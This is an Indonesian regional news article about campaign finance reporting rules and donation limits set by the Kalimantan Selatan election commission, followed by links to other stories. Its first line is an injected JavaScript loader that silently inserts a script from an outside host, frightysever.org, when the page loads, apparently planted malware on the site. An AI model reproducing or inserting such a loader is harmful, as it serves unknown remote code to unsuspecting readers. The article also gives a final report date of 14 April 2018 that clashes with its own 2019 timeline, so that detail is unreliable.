(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Ada tiga jenis laporan dana kampanye terkait dengan Pemilu, baik Pemilu Presiden maupun Pemilu Legislatif. Tiga jenis laporan tersebut adalah laporan awal dana kampanye, laporan sumbangan dana kampanye, dan laporan akhir dana kampanye, begitu yang dijelaskan oleh salah satu perwakilan Divisi Teknis KPU Kalsel.
Laporan awal dana kampanye, disertai dengan laporan sumbangan dana kampanye diserahkan ke KPU paling lambat satu hari sebelum pelaksanaan kampanye, yaitu 22 September 2018.
Sementara laporan akhir dana kampanye, diserahkan ke KPU satu hari setelah berakhirnya masa kampanye, yaitu 14 April 2018.
Komisioner KPU Kalsel Divisi Hukum dan Pengawasan Nurzazin menerangkan, sumbangan dana kampanye yang dilaporkan pada saat tahapan laporan penerimaan dan pengeluaran dana kampanye (LPPDK) di 13 April 2019 nanti, wajib mencantuman identitas penyumbang.
Pemberi wajib menyertakan fotokopi KTP, NPWP hingga surat pernyataan menyumbang. “Harus rinci. Yang menyumbangkan dana untuk kampanye harus mencantumkan identitasnya dengan jelas. Tak boleh mencantumkan nama Hamba Allah apalagi no name (NN),†jelasnya.
Sesuai aturan, KPU telah menetapkan besaran sumbangan yang boleh diterima Parpol dari perorangan, kelompok, perusahaan atau badan usaha non pemerintah.
Jumlah sumbangan yang diterima mereka dibatasi. Untuk sumbangan dari pihak perorangan besaran maksimal mencapai Rp 2,5 miliar. Sementara dari kelompok atau badan usaha non-pemerintah jumlah maksimal Rp 25 miliar.
Sedangkan sumbangan untuk calon anggota DPD dari perorangan, maksimal Rp 750 juta dan kelompok, perusahaan atau badan usaha non pemerintah mencapai Rp1,5 miliar.
Ada pun Laporan Awal Dana Kampanye Peserta Pemilu yang diterima, jumlah pengeluaran, dan saldo awal Dana Kampanye Peserta Pemilu sebagaimana yang terlampir 28 September 2018 serta Laporan Penerimaan Sumbangan Dana Kampanye Peserta Pemilu yang diterima 3 Januari 2019 lalu bisa dilihat di tabel. (mario)
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
This website uses cookies.